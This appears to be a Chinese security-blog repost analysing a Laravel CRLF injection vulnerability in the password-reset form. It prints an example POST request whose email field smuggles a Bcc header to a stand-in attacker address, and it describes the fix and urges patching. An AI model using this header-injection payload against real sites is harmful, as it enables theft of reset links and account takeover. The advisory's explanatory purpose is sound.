一个CRLF注入漏洞,竟能够进行密码重置邮件的操作?

admin 2026-06-18 06:33:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Laravel框架存在CRLF注入漏洞CVE-2026-48019(CVSS8.9分),攻击者可在密码重置页面的邮箱字段注入%0d%0a换行符添加Bcc密送地址,利用SymfonyMailer组件缺陷悄无声息获取用户密码重置邮件。官方已在v12.60.0/v13.10.0版本通过str_replace过滤换行符修复,建议受影响用户及时更新补丁。 综合评分: 85 文章分类: 漏洞分析,WEB安全,应用安全,漏洞预警,安全开发


cover_image

一个CRLF注入漏洞,竟能够进行密码重置邮件的操作?

原创

HeArt HeArt

船山信安

2026年6月17日 12:10 广东

在小说阅读器读本章

去阅读

六月,Laravel曝出一个编号CVE-2026-48019的CRLF注入漏洞,CVSS给出 8.9 分,分别影响v12.x和v13.x版本,这一次的CRLF注入,它挑了个所有人都默认忽略的安全点进行切入,带来的影响是能够进行密码重置邮件的较为危险的操作。

其中为Laravel的表单验证部分函数

public function validateEmail($attribute, $value)
{
    if (! is_string($value) && ! (is_object($value) && method_exists($value, '__toString'))) {
        return false;
    }
    return filter_var($value, FILTER_VALIDATE_EMAIL) !== false;
}

漏洞的触发逻辑是比较容易的。攻击者无需登录任何账户,只需要跳转到密码重置页面,在邮箱输入框里填入下面的一点点的细节。

POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=
"victim%40example.com%0d%0aBcc%3A+attacker%40evil.com"
%40example.com

%0d%0a 就是 \r\n 的 URL 编码。

其中Laravel的email验证规则只检查格式是否符合RFC标准,并没有剥离换行符,随后这个带着 CRLF 的地址被原样丢给Symfony Mailer 组件。Symfony的Address构造函数错误地接受了RFC-5322引用字符串中嵌有原始换行字节的邮箱地址。当邮件真正投递时,SMTP服务器看到的是两行:一行To指向原收件人;一行Bcc悄悄指向攻击者。

从打开密码重置页面到攻击者邮箱收到同一封密码重置链接,整个过程不超过30秒。在操作期间,受害者收件箱里一切正常,没有任何异常提示。这才是最令人不安的地方。

同时攻击者利用的是应用自身可信的邮件基础设施,因此,那些反垃圾系统、SPF、DKIM通通不会触发任何的警报。

而官方给出的修复思路是在email验证规则里加了两行str_replace,把 \r 和 \n在传给Symfony之前直接剥掉。补丁也是Laravel v12.60.0 和v13.10.0发布。

对于其依赖链的信任边界,大概是这几年反复踩的同一个坑了,出现的问题,能早点打补丁就尽早打。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:船山信安 HeArt HeArt《一个CRLF注入漏洞,竟能够进行密码重置邮件的操作?》

EDUSRC漏洞挖掘通杀案例 网络安全文章

EDUSRC漏洞挖掘通杀案例

文章总结: 文档分享了EDU系统中发现的SQL注入与越权漏洞挖掘案例。通过学生账号登录教务系统,在学籍导出功能处发现布尔盲注漏洞可获取数据库信息;另在申请模块通
评论:0   参与:  0